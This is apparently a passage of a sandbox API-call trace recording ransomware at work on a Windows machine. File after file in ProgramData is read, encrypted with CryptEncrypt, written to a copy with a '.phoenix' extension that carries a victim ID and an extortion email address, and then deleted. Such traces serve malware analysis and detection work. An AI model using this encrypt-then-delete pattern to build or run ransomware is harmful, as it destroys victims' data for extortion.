	[0260.045] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0260.045] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.045] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1939, lpOverlapped=0x0) returned 1
	[0260.096] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1940, dwBufLen=0x1940 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1940) returned 1
	[0260.096] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1940, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1940, lpOverlapped=0x0) returned 1
	[0260.097] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151340) returned 1
	[0260.097] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.097] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0260.097] CryptDestroyKey (hKey=0x151340) returned 1
	[0260.097] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0260.097] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.097] CloseHandle (hObject=0x2d0) returned 1
	[0260.097] CloseHandle (hObject=0x2f4) returned 1
	[0260.097] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml")) returned 1
	[0260.098] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0260.098] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0260.099] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=3683) returned 1
	[0260.099] CloseHandle (hObject=0x2f4) returned 1
	[0260.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml")) returned 0x20
	[0260.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.099] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0260.099] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.100] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.100] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0260.102] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0260.102] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.102] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0xe63, lpOverlapped=0x0) returned 1
	[0260.146] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe70, dwBufLen=0xe70 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xe70) returned 1
	[0260.146] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xe70, lpOverlapped=0x0) returned 1
	[0260.147] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0260.147] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.147] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0260.147] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.147] WriteFile (in: hFile=0x2d0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0260.147] CryptDestroyKey (hKey=0x151040) returned 1
	[0260.147] CloseHandle (hObject=0x2f4) returned 1
	[0260.147] CloseHandle (hObject=0x2d0) returned 1
	[0260.148] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml")) returned 1
	[0260.148] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0260.148] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0260.149] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2367) returned 1
	[0260.149] CloseHandle (hObject=0x2d0) returned 1
	[0260.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml")) returned 0x20
	[0260.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.149] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0260.149] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.150] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.150] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0260.150] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0260.150] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.150] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x93f, lpOverlapped=0x0) returned 1
	[0260.237] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x940, dwBufLen=0x940 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x940) returned 1
	[0260.237] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x940, lpOverlapped=0x0) returned 1
	[0260.238] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0260.238] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.238] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0260.238] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.238] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0260.239] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.239] CloseHandle (hObject=0x2d0) returned 1
	[0260.239] CloseHandle (hObject=0x2f4) returned 1
	[0260.239] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml")) returned 1
	[0260.240] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0260.240] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00008.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00008.jtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0260.244] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1048576) returned 1
	[0260.244] CloseHandle (hObject=0x2f4) returned 1
	[0260.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00008.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00008.jtx")) returned 0x2020
	[0260.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00008.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00008.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.245] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00008.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00008.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0260.245] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.245] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.245] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00008.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00008.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0260.248] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0260.248] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.248] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x100000, lpOverlapped=0x0) returned 1
	[0260.310] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100010, dwBufLen=0x100010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100010) returned 1
	[0260.311] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x100010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x100010, lpOverlapped=0x0) returned 1
	[0260.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151080) returned 1
	[0260.334] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.334] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0260.334] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.334] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0260.334] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.334] CloseHandle (hObject=0x2f4) returned 1
	[0260.334] CloseHandle (hObject=0x2e0) returned 1
	[0260.517] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb00008.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb00008.jtx")) returned 1
	[0260.637] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0260.637] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb0000A.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb0000a.jtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0260.640] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1048576) returned 1
	[0260.640] CloseHandle (hObject=0x310) returned 1
	[0260.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb0000A.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb0000a.jtx")) returned 0x2020
	[0260.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb0000A.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb0000a.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.640] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb0000A.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb0000a.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0260.641] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.641] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.641] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb0000A.jtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb0000a.jtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0260.643] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0260.643] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.643] ReadFile (in: hFile=0x2d0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x100000, lpOverlapped=0x0) returned 1
	[0260.721] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100010, dwBufLen=0x100010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100010) returned 1
	[0260.722] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x100010, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x100010, lpOverlapped=0x0) returned 1
	[0260.744] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0260.744] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.744] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0260.744] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0260.744] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0260.745] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.745] CloseHandle (hObject=0x2d0) returned 1
	[0260.745] CloseHandle (hObject=0x308) returned 1
	[0260.745] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edb0000A.jtx" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edb0000a.jtx")) returned 1
	[0260.754] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0260.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00001.jrs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0260.755] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1048576) returned 1
	[0260.755] CloseHandle (hObject=0x308) returned 1
	[0260.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00001.jrs")) returned 0x2020
	[0260.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00001.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00001.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.755] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0260.756] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.756] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0260.756] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\edbres00001.jrs.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\edbres00001.jrs.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0260.859] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0260.862] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0260.862] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x100000, lpOverlapped=0x0) returned 1
	[0260.882] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100010, dwBufLen=0x100010 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x100010) returned 1
